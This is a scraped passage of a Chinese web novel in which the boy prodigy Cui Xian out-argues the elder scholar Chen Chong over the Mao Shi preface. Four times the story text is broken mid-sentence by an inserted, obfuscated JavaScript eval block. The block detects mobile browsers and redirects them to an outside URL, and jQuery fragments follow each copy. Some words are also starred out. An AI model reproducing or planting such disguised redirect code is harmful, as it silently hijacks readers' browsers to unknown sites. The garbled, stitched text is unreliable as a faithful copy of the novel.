乖徒弟咱悠着点悠着点啊! 别一上来就掀桌子。 为师真顶不住啊! 好在崔岘自己也懂‘徐徐图之’的道理。 说完辩经主题后。 他来到辩经台左侧。 左侧是小黑粉们站的位置。 崔岘虽然还没开口但严思远等人已经诡异明白了他的意思:站在左侧是贾邵站在右侧是崔岘。 而后自辩。 不是? 究竟是谁要看这种‘双子星对决’啊? 搞笑! 小黑粉们面无表情但耳朵却不自觉支棱了起来。 便见台上‘贾邵’开口道:“《毛诗序》溯子夏渊源。《孝经援神契》云:子夏传 经,足见序乃圣学血脉!” 这是在讨论诗序的价值。 辩经台侧后方。 开封府学正大门外,一位头发花白、颇有威仪的老儒,在听完‘贾邵’这番话后,笑呵呵点头:“善。” 然而下一刻。 便见台上的红衣少年郎,走向右侧,张口便驳斥自己道:“《汉书·艺文志》明载:**公自谓子夏所传。” “此‘自谓’二字,岂非存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088481|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑?《论语》载子夏问诗,夫子唯启悟,未传定解。” 那头发花白的老儒,脸色骤变。 不仅这位老儒。 台下有一个算一个,只要是读书人,甚至包括裴坚、庄瑾等人。 都震惊的看向崔岘,简直不敢相信自己的耳朵。 不是? 刚才不是说好了,‘和而不同’吗? 这也就前后脚的功夫,说掀桌就掀桌啊? 还掀的如此猝不及防! 苏祈、何旭四位才子,则是倒吸一口凉气。 《毛诗序》真伪之辩,这些年也算是老生常谈。 但两方打的再怎么激烈,也都始终无法真正动摇《毛诗序》的地位。 直到今日。 直到现在。 ‘自谓’二字,简直诛心! 这意思,直说班固用‘自谓’暗指**公托古! 托古:假、借、冒。 再直白来说就是:**公借名子夏,强行攀扯圣贤以自抬身价。汉儒惯用挂名术,因此,这是假托圣贤之名行己之说。 别人辩论:《毛诗序》究竟是否有问题。 崔岘辩论:**公这人不行,咱把《毛诗序》和作者**公一起废了吧。 刺激。 开封府学门外,那位老儒再也忍不住,怒声呵斥道:“竖子狂言!” 不仅这位老儒。 崔岘这番话说完,犹如水溅油锅,在人群中引发剧烈动荡。 尤其是一些年长的老儒们,脸都扭曲了。 “狂妄!《后汉书·儒林传》定论‘毛诗承圣’,尔欲翻两汉公案乎?” “子夏圣脉,康成集传,千载道统一线悬——尔竟敢裂冠毁冕!” “《毛诗序》即六经羽翼,尔裂翼毁经,可畏三圣灵乎!” 辩经台上。 看着下方骤然一团混乱,怒骂声成片的局面,东莱先生长舒一口气。 没事的没事的。 还好,还好乖徒只把矛头对准了**公。 这真的相当保守了。 而老儒们进入狂躁模式开喷,也让看热闹的百姓们迷惑瞪大眼睛。 发生了什么? 沿街卖酸梅汤的商贩同样听不懂,但看着越发激烈的场面,在心里开心的想—— 不如再涨价一成助助兴吧! ? 191、五年之约,崔岘开封第一辩(下) 看着台下脸色扭曲,对自己怒目而斥的老儒们,崔岘神情平静。 这才哪到哪儿? 也就是他们,尚且还没真正了解崔岘的意图。 若是了解以后,就不仅仅是怒骂这么简单。 怕是恨不得要点一把火,将崔岘这个‘异端’给活活烧死。 但—— 这真的是崔岘目前能想到的,最温和的切入点了。 ‘思想变革’这种东西,不论古今,都十分残暴,且丝毫没有任何从中调和的可能。 甚至比真刀**的战争都更为可怕! 新学说的诞生,就是要踩着旧学说的‘尸体’上位。 至于崔岘为何会一直盯着《毛诗序》? 又为何,崔岘短短几句话,便让在场一群老学究们,勃然变色? 因为这背后,是道统传承、**权威,乃至文本神圣的博弈! 自东汉白虎观会议后,儒家确定正统思想,且统一了‘五经’的地位。 但可惜,这个世界没有朱熹那样的旷世大儒,在文坛思想界力挽狂澜,编撰官方教课丛书。 这就导致,如今的文坛,分作多个派别。 其中最强大的,当属古文经学派。 这个学派,奉行汉代郑玄、孔颖达的注疏传统,强调‘五经’为根本,尤其推崇《周礼》、《春秋》。 他们主张‘训诂明则义理明‘,认为圣人之道,必须通过逐字考据才能还原。 一句话简单概括:古文经书上的内容,每一个都是精华。 不可改动一个字! 那你要说,这个古文经学派,真的如此推崇‘圣人’吗? 也不见得。 因为古籍经书、圣人之言,可以化作权柄—— 嗯,就是拿着鸡毛当令箭。 总而言之,言而总之,圣人是这么写的,也是这么说的。所以,全天下人都必须要遵守圣人立下的规矩! 凭借这一套简单粗暴的逻辑,古文经学派的酸儒们,成为这个王朝绝对的‘主导者’。 他们把持国子监、翰林院,垄断科举出题权,用繁琐的章句之学,筛选门生。 与地方豪强勾结,通过‘经学世家’垄断学术 传承。 所以这里就能看得出来,崔岘惹到了一个何等可怕的学派群体。 而他意图将《毛诗序》删除,自然会受到老儒们群起而攻之。 因为崔岘从源头,斩断了人家的文脉传承! 在古文经学派的体系中,《毛诗序》是子夏所作。 当然《毛诗序》作者究竟是谁,这么多年来,一直争论不休。 古文经学派为何死死咬住,《毛诗序》是子夏作的。亦或者说,就算不是子夏作的,那也是**公传承了子夏学识后作的? 因为这是‘圣人血脉传承’啊! 子夏,孔圣的弟子。 而子夏和**公之间师徒传承的关系,是这样的—— 子夏→曾申→李克→孟仲子→根牟子→荀子→**亨。 **亨就是**公。 他被古文经学派强行冠以‘子夏五代弟子’的身份,绞尽脑汁跟圣人沾上了边。 至于为何一定要费劲巴拉这么做呢? 因为古文经学派尊崇郑玄。 而郑玄这个人,是以《毛诗序》为纲构建注经体系,被称作‘述圣’。 删除了《毛诗序》,等于否认子夏作序,否认**公师承,甚至否认郑玄这个人的身份。 郑玄没了。 古文经学派就崩了。 他们要交出手中的一切权柄,和话语权。 崔岘要争取的,就是话语权! 但妙就妙在,古文经学派也不是没有对手。 他们的对手,是今文经学派,和其余一些派别。 这里暂且不表述‘今文经学派’是什么。 崔岘这番辛辣发言,在一帮老儒眼睛里,代表着此子疑似是‘今文学派’的人。 亦或者纯粹是想博眼球,在辩经台上抛出一个自以为非常大胆地论点,彰显自己的与众不同。 这两点,不管前者、还是后者,都能跟古文经学派坐在一个桌上。 至少—— 大家还能有个桌子可以坐下来互喷。 所以老儒们只是愤怒,没直接点火要烧死崔岘这个‘异端’。 至于你问,为什么崔岘一定要跟古文经学 派开战呢? 因为新思想需要‘**’、‘王权’作为依托啊! 没有话语权,没有**地位,没有王权背书,新思想这把火,就如空中楼阁,根本烧不起来。 干掉‘古文经学派’,才能接管他们手中的**权柄。 ‘王权’这一块,崔岘已经披着马甲跟皇帝勾搭上了。 纵然后续掉马,需要去哄皇帝。可这哄着哄着,一来二去,也能‘眉目传情’,顺势给皇帝传递新思想啊。 得罪皇帝不可怕,可怕的地方在于,你和皇帝没有任何交集。 而‘**’这里,就得潜藏住野心,小心去争取。 只要赢了,将来纵观整个大梁,国子监、翰林院、府学、县学、书院、乃至科举**目,都是他崔岘说了算! 这才是成就‘儒圣’的基石啊! 但反过来理解就是—— 当崔岘暴露‘新思想’且没有‘成圣’之前,国子监、翰林院、全大梁的府学、县学、书院,都会是他的敌人! 甚至不仅‘古文经学派’。 今文经学派、玄理派、功利学派,都会对崔岘进行不惜一切代价的绞杀! 这也是东莱先生一个文坛领袖,都对徒弟要做的事情战战兢兢的根本原因。 古往今来,能有几个圣人? 成圣之路要是跟吃饭喝水一般简单,那早就圣人遍地走了! 能从万万人的思想风暴中杀出重围,最后登顶至高,名垂千古的圣人,数以千年来,用手指头都能数得过来。 所以—— 这才哪儿到哪儿呢? 来吧,战吧! 辩经台上。 对于台下老儒们愤怒的谩骂,崔岘充耳不闻。 在万千目光的注视下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088482|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他走到左侧站定,施施然开口道:“《关雎》序言‘后妃之德’,合于《仪礼》奏乐规制…… 这话,分明是对‘古文经学派’有利的言论。 但,却让老儒们越发愤怒。 因为他们看懂了,崔岘只是看似在为古文经学派发声,实则是为了引出自己后续驳斥的言论。 他在否定古文经学派的道统! 毕竟,他有两个‘ 马甲’。 因此没等崔岘把话说完,再次引来台下一群老儒们的斥责。 “竖子!” “狂妄!” “东莱先生,您就眼睁睁看着自家徒弟,在台上发表大逆不道之言论吗?” “胡言乱语,满口荒唐!” 任谁都没想到,惊艳出场、登上辩经台履行五年之约的崔岘,才刚刚开口。 便从获得满堂喝彩,到无数谩骂。 台下。 老儒们目眦欲裂,满脸愤怒。 崔岘被迫闭嘴。 周围一片哗然。 东莱先生则是故作满脸茫然:啊?发生了什么?老夫不知啊。 而裴坚等四位大哥,和严思远等小黑粉们,在听到这些老儒们的谩骂后,则是狠狠蹙起眉头。 本来,他们还可以忍耐的。 但,眼看那帮老儒越骂越脏,裴坚忍不了了。 他深吸一口气,转身看向那帮老东西,愤怒大声道:“闭嘴!都他娘给老子闭嘴!” “你们这帮老东西,讲不讲武德?” “在台下嚼舌根算什么回事儿?这是辩经台?懂?” “真有本事,直接上去辩论,别**搁这喊垃圾话,玩儿阴的,真是让人笑话!” 另一边。 晕厥醒来后的严思远同样震声道:“要辩论就上台,不辩论就闭嘴,聒噪的老东西!” 这话说完。 台下的老儒们脸色极为难堪。 而裴坚、严思远竟是互相对视,难得生出了一些‘惺惺相惜’。 裴坚当然是无条件护着自己小弟。 至于严思远……他面无表情的想,我也不是为**神童崔岘话说。 我只是想听听——这个**神童,究竟有什么屁话要说。 是的,就是这样! 不仅严思远,其余小黑粉们,也都面无表情的这样想。 但其实,怎么想的,不重要。 重要的是,在争夺话语权的过程中,谁的簇拥者更多,谁便更能取得最后的胜利啊! 听闻严思远、裴坚的话。 开封府学大门处,那位头发花白的老儒冷声笑道:“既如此,老夫陈衝,今日便登上这辩经台,同你这黄口小儿,辩上一番!” “莫要以为你是东莱先生的弟子,便可信口雌黄!” 说罢。 在一片震惊哗然声中,那陈衝,登上了辩经台! “二十年前,输给东莱先生半招的陈衝?” “他竟然在开封府学教书?” “老天!惹到他,崔岘怕是要完蛋了!” ? 192、舌战名儒! 192、舌战名儒! 在无数目光的注视下。 陈衝登上辩经台。 他先是看向东莱先生,面无表情道:“二十年前,老夫便说过—— “你虽怀隋和之宝,负雕龙之才,然纵庄蹻之跅弛,效盗跖之踶跛! “这大梁文坛,从来都不需要什么文坛领袖。 “亦或者说,无需你周雍这般,不受礼法约束、颠覆纲常之人,来做这文坛领袖。 “如今,你周雍教出来的徒弟,竟比你当年,有过之而无不及。 说到这里。 陈衝又看向崔岘,呵斥道:“后生狂妄,蔑《诗序》如弃刍狗,毁师法若扫秕糠—— “岂不知:骐骥泛驾,终碎盐车;太阿倒持,必伤其手! “老夫在这里奉劝你——宁守伏生之愚朴,毋效斯人之偭规! 不愧是古文经学派的门徒。 一开口,陈年酸腐味儿便扑面而来。 崔岘暂未回应。 东莱先生的脸当场就拉了下来。 老子自己的乖徒弟,平日里一句重话舍不得说,捧在手里都怕化了。 哪里轮得到你这老东西来教训? 骐骥泛驾,终碎盐车;太阿倒持,必伤其手。 有这么诅咒人的吗?! 因此。 东莱先生看着陈衝,嘲讽道:“既然你说,这大梁文坛,无需我周雍来做文坛领袖。 “那你陈衝,为何不来做这文坛领袖呢?是因为不想吗? 陈衝:“…… 裴坚、严思远等人解气般哈哈大笑。 众目睽睽之下,这白发老酸儒脸色倏然涨的通红。 但东莱先生不打算放过他,继续道:“当年你说我狂妄,却输给了我。 “如今二十年过去,面对我的徒弟,你依旧是这副腻歪说辞。 “但你只是年纪大了,不是学识涨了。宁守伏生之愚朴,这种可笑之话,更像是在做自我介绍。 “古有伏生,今有陈衝。 “我家徒弟是否狂妄,不是你该考虑的事情。你该考虑的,是待会儿在他手中,别输得太惨。 哗! 听闻东莱先生这番话人群咋舌哗然。 毕竟那可是一代名儒陈衝啊! 纵观全场也就东莱先生有底气肆无忌惮的嘲讽他‘古有伏生今有陈衝’。 而且崔岘就算有‘绝世才子’之名。 怕是也没本事让陈衝考虑‘输得太惨’吧? 二人之间 陈衝在文坛扬名的时候别说崔岘崔岘的爹崔仲渊都没出生呢! 果然。 听到这话的陈衝气的脸色扭曲整个人都在发抖:“岂有此理!岂有此理!” 但东莱先生已经不理会此人。 这位大梁当代文坛领袖于万千人注视下站在辩经台上看向台下刚才那些对崔岘极尽辱骂的老儒们冷冷道:“老夫这些年脾气变好了。” “眼皮子底下也算是能容得了你们这群庸才蠢货蹦跶。” “但就算你们再愚蠢也该知道辩论的规矩。” “要辩就上来辩不辩那就闭嘴滚蛋。” 人群骤然失声。 无数市井百姓们瞠目结舌只觉得十分‘幻灭’。 怎地你们这些读书人辩经竟这般简单粗暴啊! 唯有那群被骂的老儒们缩着脖子不敢吭声眼睛里开始浮现出当年‘整个文坛’被东莱羞辱的恐怖画面。 第一代文坛领袖东莱为何能杀出重围登顶呢? 答曰:人狂脏话多。 那个时候的‘文坛大环境’啊可比现在恶劣多了! 不会喷人约等于不会辩经。 连崔岘都是第一次看到老师骂人因此难免有些惊异。 东莱先生看了徒弟一眼。 崔岘和老师对视。 这波传递的意思大概是—— 东莱:接下来不许客气辩死这个老东西! 崔岘:好的收到。 而陈衝则是表情扭曲的看向崔岘深吸一口气震声道:“《孝经援神契》曰:‘子夏传《诗》序承天心法’。” “《后汉书·儒林传》定谳毛诗圣脉《白虎通·五经》明载‘《诗》有序所以正 人伦’——尔删序即毁三纲当服墨刑!” 他那句‘当服墨刑’在人群中回荡。 气氛霎时紧绷。 方才还笑嘻嘻的裴坚、严思远等人神情变得紧张。 这就是跟老学究打辩论的坏处。 刻板酸腐之人最擅长搞‘经书神圣不可侵犯’这一套。 动不动就扣帽子。 但陈衝也确实有水准先讲谶纬神学《孝经援神契》定调再引用官方法典《后汉书》、《白虎通》。 最后还来了一波带有私人恩怨的刑法恐吓。 三重杀机组合只为论证‘诗序神圣性’! 这般快、稳、准、狠的打法一般人完全招架不住。 至少在场大量读书人此刻都苦苦皱起眉头。 如此大的一顶帽子扣下来如何接? 论掉书袋果然还得是老学究啊! 无数道目光纷纷看向台上的红衣少年郎崔岘或担忧急切或不怀好意。 这是‘小神童’兑现五年之约的第一场辩经。 刚一开场还上演了‘贾邵崔岘合二为一’的震撼场面。 开封万千百姓前来强势围观。 整个大梁都在关注这场辩经盛事。 若是第一场就输了—— 那岂不是当众拉了一坨大的?! 连陈衝本人都眯起眼睛看向崔岘。 他自然不会愚蠢到以为东莱的弟子是个庸才。 但陈衝觉得自己方才的辩论堪称举重若轻。 不经过一番苦苦思索绝对接不住! 但为何要接呢? 在各方震撼、惊艳的打量中。 崔岘不慌不忙看向陈衝几乎未经过思考脱口而出道:“陈公此言差矣。《论语·阳货》载孔子教伯鱼‘学《周南》《召南》’ “又《孟子·离娄下》言‘王者之迹熄而《诗》亡’《汉书·艺文志》解‘迹熄’谓采诗官废——若序为天心何以圣人不传?” 此话刚落下。 陈衝脸色骤然一僵满脸震惊。 临街茶馆二楼当即响起苏祈、孟绅几人 的喝彩叫好声! 而后。 大部分围观的读书人们才反应过来纷纷惊艳抬头看向台上的崔岘只觉得有种茅塞顿开的兴奋颤栗之感。 原来还可以这样辩? 孔子不诵序。 孟子论采诗。 班固考制度。 对于陈衝的‘扣帽子言论’崔岘完全不接。 并在短时间内用孔子、孟子、班固三位重量级人物从不同角度**《毛诗序》的神圣性。 最妙的是! 《论语》是儒家原始圣训《汉书》则是古文经学派推崇的史书。 用对方最认可的权威来打对方实在诛心! 辩论的最后崔岘还向对方发起诘问:若序为天心何以圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088483|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人不传? 而正是这句话让陈衝神情僵硬让在场读书人们震撼到头皮发麻。 因为这看似简单的一句反问是个绝对的两难悖论! 怎么回答都是错! 要么承认序非必要那么《毛诗序》神圣性崩塌圣人不传序非天心可删! 删了《毛诗序》古文经学派直接凉凉! 要么坚称序必传那么这就更严重了——因为你这是在指控孔子失职! 圣人未传是愚呢?亦或是惰呢?总之你这是在渎圣! 这个‘扣帽子’的手法是不是很熟悉? 用敌人的办法把敌人打死! 一句诘问让大儒陈衝当场哑口无声! 此人方才‘后生狂妄’之话犹在众人耳边回荡。 结果一转眼竟在崔岘手下撑不过一个回合! 见陈衝不开口崔岘扬起眉头继续逼问道:“若序为天心何以圣人不传?回答我!” 面对这般逼问。 陈衝深吸一口气总算回过神来。 他同样选择对‘帽子言论’避而不谈辩道:“序传乃汉世补阙!《春秋纬·说题辞》云‘诗者天地之心’ 东莱先生哂笑出声。 这老东西中计了! 因为崔岘是在逼他当众承认序为‘补阙’! 既为补阙谈何神圣? 果然。 几乎是在陈衝话音落下的瞬间。 台上的红衣少年一声冷笑。 而后他一甩袖袍,指着陈衝,整个人格外肆意张扬:“《周易·系辞》曰:书不尽言,言不尽意!” “《尚书·舜典》曰:诗言志! “《左传》襄二十七年赵文子‘诗以言志’——三重圣训皆明:志在人心,非在序言!” “尔以汉儒补阙之文,压三代圣王之道,可乎?!” 这,又是一次三重圣训的组合打击,和类似‘囚徒困境’的诘问! 《周易》的言意之辨。 《尚书》的创作本源。 《左传》的历史实例。 最后,再加上一句绝杀—— 尔以汉儒补阙之文,压三代圣王之道,可乎?! 若承认‘补阙’,那就是自认《毛诗序》非原始圣学,子夏谱系断裂。 若否认‘补阙’,等于宣称汉儒高于三代圣王,犯‘僭越天道’之罪责! 总之,怎么回答都是死路一条! 这短短两个回合的厮杀,足以堪称经学辩论中的绝杀典范! 崔岘把‘序言’从‘解经工具’降格为‘补阙之文’,同时把‘三代圣王’捧上神坛。 再简单来说,就是给‘传统’的对手,扣上了‘反传统’的帽子。 什么古文经学派老学究,传统保守派。 现在,我宣布,你,是反传统的激进派了! 陈衝懵了。 面对崔岘的绝杀质问,有那么一个瞬间,他甚至怀疑自己—— 难道不是古文经学派的人? 可很快,他便反应过来,被人家给做局了! 还是个死局! 他站在辩经台上,看着对面年轻到过分的崔岘,张了张嘴,一时间竟不知道该如何开口驳斥。 因为,辩无可辩! 台下。 百姓们尚且还没反应过来。 但大量读书人们,看着两个回合干脆利落败下阵来,神情颓唐再不复方才半分桀骜的陈衝,震惊到彻底失去言语。 成名多年的文坛大儒,陈衝。 两个回合。 败! 193、一场即将点燃整个文坛的燎原之火 193、一场即将点燃整个文坛的燎原之火 陈衝败的太快。 以至于台下很多看热闹的百姓茫然又奇怪的心想—— 这就……结束了?! “谁赢啦?” “应该是小神童崔岘吧。” “哎哟真不愧是小神童比那上了年纪的老夫子都厉害!” “赢得太快还没看过瘾嘞!” 百姓们交头接耳嘀咕。 全然无法理解场间那些身穿儒衫嘴巴张的老大满脸呆滞的读书人们此刻内心在经历怎样的震撼。 那可是名儒陈衝啊! 在崔岘手底下只辩了两个回合便败的这般干净利落! 这……合理吗? 莫说别人。 就连陈衝自己都在怀疑人生。 他站在台上脑子里回想着方才和崔岘两个回合辩论的内容。 越想脸色越苍白。 越想神情越落寞。 众目睽睽下这位成名许多年被尊称为‘大儒’的老者数次张口。 最后竟盯着崔岘那张年轻到近乎过分的脸颤声问了一个跟辩经看似毫不相关的问题:“你……多大了?” 崔岘拱了拱手:“年14。” 四周围传来一片倒抽冷气的声音。 小神童成名太早五年过去 14岁的少年郎崔岘英姿勃发、青春神采飞扬。 反观旁边。 垂垂老矣、身形佝偻的陈衝在听到‘年14’之后身形晃动险些没有站稳。 他看起来很累很疲惫、也很茫然。 全然没有了方才初登台时候的强硬。 多年前输给东莱今又输给东莱的徒弟14岁的崔岘。 这种‘道心破碎’的滋味哪怕是大儒想来也很难短时间缓过来。 东莱先生在一旁冷眼旁观未发一言。 毕竟都是自找的。 技不如人怪谁? 许久后。 陈衝深吸一口气才勉强稳住心神当众朝着比自己 年轻几十岁的少年郎沉默着行了揖礼。 这便是认输的意思。 崔岘给予回礼。 而这震撼一幕也被在场无数读书人看在眼中久久无法忘却。 五年之约第一场开台辩经。 崔岘胜! 但大概这场年龄过于悬殊的辩论对于陈衝来说是一种残忍。 因此连裴坚、庄瑾等人 唯有人群中跟着先生来给崔夫子助威的小蒙童们发出稚嫩的欢呼声。 “太好了崔夫子赢咯!” “我就知道崔夫子一定会赢得!” ……崔夫子? 听到这话再看看那些蒙童眼睛中的孺慕情谊辩经台上的陈衝不知为何本能的有些不安。 怀疑的种子一旦种下一些先前忽略的细节便会逐一浮现。 比如崔岘方才自辩的议题真的很怪异。 诗教当重训诂耶?重心悟耶? 在心里反复咀嚼着这句话陷入‘道心破碎’困境的陈衝猛然一个激灵。 他一双枯老的眼睛死死的在眼前这对师徒身上来回巡视。 但奈何。 东莱先生面无表情。 崔岘云淡风轻小小年纪还真有几分‘舌战群彦而春风化雨’的风姿。 什么都看不出来。 有问题! 这其中一定有问题! 此刻陈衝甚至有些后悔后悔方才应该沉住气且听完‘崔岘’、‘贾邵’的那场自辩。 想来肯定能抓取到更多有用的信息。 可惜崔岘的那场自辩没有说完便被他打断了。 但有些事情宁可错杀不可放过! 因此在一片震惊、不齿、怒骂声中。 本已经认输的大儒陈衝竟然在辩经台上再次开口看着崔岘冷冷说道:“《礼记·王制》曰:析言破律乱名改作执左道以乱政杀!” “《春秋繁露》曰:改制之名非取先王之制更易之也。” “《白虎通·五经》曰:孔子删《诗》存序所以立人极也。” “《孝经 》云:非先王之法服不敢服,非先王之法言不敢道!《**序》承子夏圣脉,犹宗庙之彝器,岂容妄动?尔若执迷——” 说到此处。 陈衝看向辩经台后方的开封府学,看向在场无数读书人,朝着崔岘冷笑道:“此间三千卷皆敌也!” “河间之虎啸于北,稷下之龙腾于南——尔一苇之舟,可能渡沸鼎乎?!” 不愧是成名数十年的老儒。 在‘意识形态’这一块,有着近乎敏锐般的直觉。 他甚至还没真正猜测到崔岘刻意隐藏起来的目的,但已经决定不惜一切代价,逼迫崔岘自己亲口说出来! 东莱先生闭了闭眼,心想—— 该来的,还是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088484|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。 台下。 裴坚等人在怒骂陈衝‘不讲武德’、‘人品败坏’,输了还在台上继续蹦跶。 而对于这些谩骂,陈衝充耳不闻,只死死地盯着崔岘。 崔岘陷入沉默。 而他越是沉默,陈衝的表情便越发冷厉,越发笃定。 因为辩论已经结束。 此刻崔岘只用说一句‘我并非执意要删除《毛诗序》,只是简单的学术探讨’,就能完美翻篇。 但,不行。 翻不过去的。 思想辩论,又不是搞刺杀,潜藏行踪偷偷一刀子递过去,敌人就能被捅死。 它需要打起来,需要无数次登台辩经,需要传递火种,需要点燃起一场燎原之火。 而作为新思想的领路人,划时代的先驱者—— 崔岘,一步都不能退让! 台上怪异的氛围,让台下的裴坚、庄瑾、严思远等人,都察觉到了异样。 人群逐渐安静下来。 临街茶馆,苏祈、孟绅等人蹙眉看向崔岘,隐隐觉得有些不安。 于成百数千道目光注视中。 崔岘似乎是笑了笑。 而后,这位自出场开始,便给人以谦谦温润印象的红衣少年郎,扬起了下巴。 在辩经台四周朱漆楹柱摇晃的清越铜铃声中。 他傲然看向陈衝,笑的格外肆意张扬:“《孟子·尽心》曰:尽信《书》,则不如无《书》!” “武王伐纣,《泰誓》三篇今亡其二。” “孔子删《诗》,三百篇本无片序。” “圣贤尚不惮损益,今人反奉汉儒补缀为金科?” “若校讹订谬即为罪,那么岘——” 说到这里。 在台下无数人难以置信的注视下,崔岘坚定道:“甘为天下先!” 这番话说完。 自辩经台为中心,整个世界都仿佛被按下‘消音键’,彻底陷入死寂。 裴坚,庄瑾四人脸色唰的一下惨白。 但随后。 四人互相对视,默契迅速挤到辩经台最前方,无限靠近崔岘,亦或者……将他护在身后。 严思远愣愣看着崔岘,不知为何突然变得很愤怒:“你知不知道你在说什么啊?这些话,是要招来杀身之祸的啊!” 而严思远的话,也很快得到了佐证。 辩经台上的崔岘,霎时间被无数呵斥声、怒骂声攻讦! 194、掀!桌!啦! 194、掀!桌!啦! 不怪在场众人反应激烈。 因为,方才崔岘说的短短几句话,每一句都堪称‘大逆不道’。 尤其是那句‘圣贤尚不惮损益’,简直像是在学术圈里丢进去一枚炮仗! 简单粗暴翻译意思就是:连圣贤都不畏惧删减、增补经典书文。 再加上一句‘甘为天下先’。 那就是典型的,儒家思想改革式宣言啊! 孔子敢删《诗》《书》,《毛诗序》不过是后世补缀,凭何不能修正?! 周公增补礼乐称圣人,今人损益经注反成罪? 若‘不惮损益’是圣贤特质。 像你陈衝这种古文经学保守派,岂不是‘非圣无法’?! 崔岘这番话,堪称‘以子之矛,攻子之盾’的典范! 他把‘意图删除经典’重新解构成‘继承圣业’。 于是在他嘴里,陈衝这样的,反而成了背离圣贤真精神的人! 此辩论策略,既激进、又守住了儒家底线。 但,这属于狡辩之谬论! 再结合方才崔岘对《毛诗序》一书的各种针对言论。 跟东汉王充在《正说篇》中表述的‘经有褒贬之文,世无圣贤之实’之说辞,不谋而合。 而王充其人,因激烈质疑官方意识形态,和儒家神圣权威,被视为‘异端’! 若是崔岘执意继续针对《毛诗序》,那么他此番‘大逆不道’的言论,极有可能被扣上‘异端’的帽子…… 那还真的会招来杀身之祸! 这也是严思远、裴坚等人慌神的原因。 是在场读书人们谩骂攻讦崔岘的根源! 刺孟问孔,绝不可被原谅! 辩经台上。 陈衝觉得自己成功逼迫崔岘说出了实话,当即打算新仇旧恨一起清算。 他指着崔岘、东莱二人,大声呵斥道:“《白虎通·五经》定谳:《诗》以《序》为纲,犹天之有斗极也!” “圣贤尚不惮损益之说,与挑衅儒家神圣权威之异端王充,有何不同?” “尔以校讹订谬作掩护,欲删《毛诗序》,其罪有三:一曰‘疑天’——毁谶纬受命之符。 “二曰‘非圣’——谤元帝钦定官学。 “三曰‘乱法’——坏皇权科举成法。 “此三罪者,当依《大梁律》‘非所宜言’腰斩,以谢天下儒门! 最后‘腰斩’二字,陈衝几乎是嘶吼着说出来的。 那一刻,他甚至分不清,自己究竟是真心在斥责崔岘为‘异端’。 还是出于某种丑陋嫉妒心理,想要趁此机会,将这个年轻到过分、又天才到可怕的少年,狠狠碾压至万劫不复的泥沼之下! 而如此凄厉直白的‘腰斩’二字,让在场无数看热闹的百姓们,惊到头皮发麻。 不是在辩经吗? 怎地事态突然变得这般严峻! 那台上本事极大、模样俊俏的少年郎,难道今日要没命了? 老天! 商贩们停止叫卖声,临街两侧茶馆,富家子弟们齐齐站起来,雅间有女子在惊呼。 一群蒙童们小脸茫然,神情惊骇——他们还没从崔夫子赢了辩经的喜悦中回神。 结果竟然听到那老先生,打算‘腰斩’崔夫子! 远处漕船上。 一些不怀好意的士子们目露狂喜:崔岘,你这是在自找死路啊! 被无数目光注视着的崔岘,神情平静。 坦白来说,陈衝给他定的‘三重罪’,非常客观。 每一条都没冤枉他。 但……傻子才会承认呢! 那有没有一种解决办法,既咬定必须要删除《毛诗序》、坚持圣贤尚不惮损益的同时,还能避开‘异端’三重罪的问责呢? 有的! 只需要给出一个更加惊爆人眼球的回答,就能暂时掩盖目的,猥琐发育! 而这种‘猥琐发育’的办法,朱熹、王阳明早就玩儿过了。 朱熹看似注释《四书》,实则重构儒学核心。 王阳明玩儿的更溜,假借‘龙场悟道’偷梁换柱,重塑权威。 崔岘决定向两位先辈学习。 谶纬受命,我惹不起。 圣人天心我也惹不起。 皇权科举成法……咳,这个暂时同样惹不起。 但,难道我还 惹不起你们这帮老学究?! 且看我,拳打‘文坛敬老院’,把你们这帮老学究的桌子,一口气全掀了! 因此。 面对陈衝的‘三重罪’问责,崔岘蹙眉失望道:“方才登台开场之时,我曾说过,以经解经,不涉谶纬!岘师承恩师东莱先生,对儒家圣贤 